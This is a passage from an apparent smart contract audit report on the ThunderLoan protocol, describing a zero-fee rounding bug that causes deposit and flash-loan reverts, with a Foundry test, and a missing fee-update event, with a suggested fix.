If the fee is calculated as 0, then calling `AssetToken::updateExchangeRate` will revert the transaction with the custom error `AssetToken__ExhangeRateCanOnlyIncrease`, because fee being 0 results in the new exchange rate being equal to the old exchange rate. This affects the `ThunderLoan::deposit` and `ThunderLoan::flashloan` functions, because they call `updateExchangeRate`.

Impact: Denial of service of `ThunderLoan::deposit` and `ThunderLoan::flashloan` functions when `amount` is being inputted as a value up to `333` (inclusive).

Proof of Concept:

Add this test function to `ThunderLoanTest.t.sol`:

```
    function testFuzzGetCalculatedFee() public {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            333
        );

        assertEq(calculatedFee, 0);

        console.log(calculatedFee);
    }
```

Run the test using this command: `forge test --mt testFuzzGetCalculatedFee`

The test will pass successfully, because `calculatedFee` will be 0.

Recommended Mitigation: Improve the way how the fee is calculated and test it thoroughly.

[L-2] `updateFlashLoanFee()` missing event

Summary: `ThunderLoan::updateFlashLoanFee()` and `ThunderLoanUpgraded::updateFlashLoanFee()` functions do not emit an event, so it is difficult to track changes of the `s_flashLoanFee` value off-chain.

Vulnerability Details:

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
    @>  // missing event
    }
```

Impact: In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a `FeeUpdated` event, any off-chain service or user interface that needs to know the current `s_flashLoanFee` would have to actively query the contract state to get the current value. This is

less efficient than simply listening for the `FeeUpdated` event, and it can lead to delays in detecting changes to the value of `s_flashLoanFee`.

The impact of this could be significant because the `s_flashLoanFee` is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

Recommended Mitigation:

Emit an event for critical parameter changes.

Example fix:

```
+ event FeeUpdated(uint256 indexed newFee);

  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+        emit FeeUpdated(s_flashLoanFee);
    }
```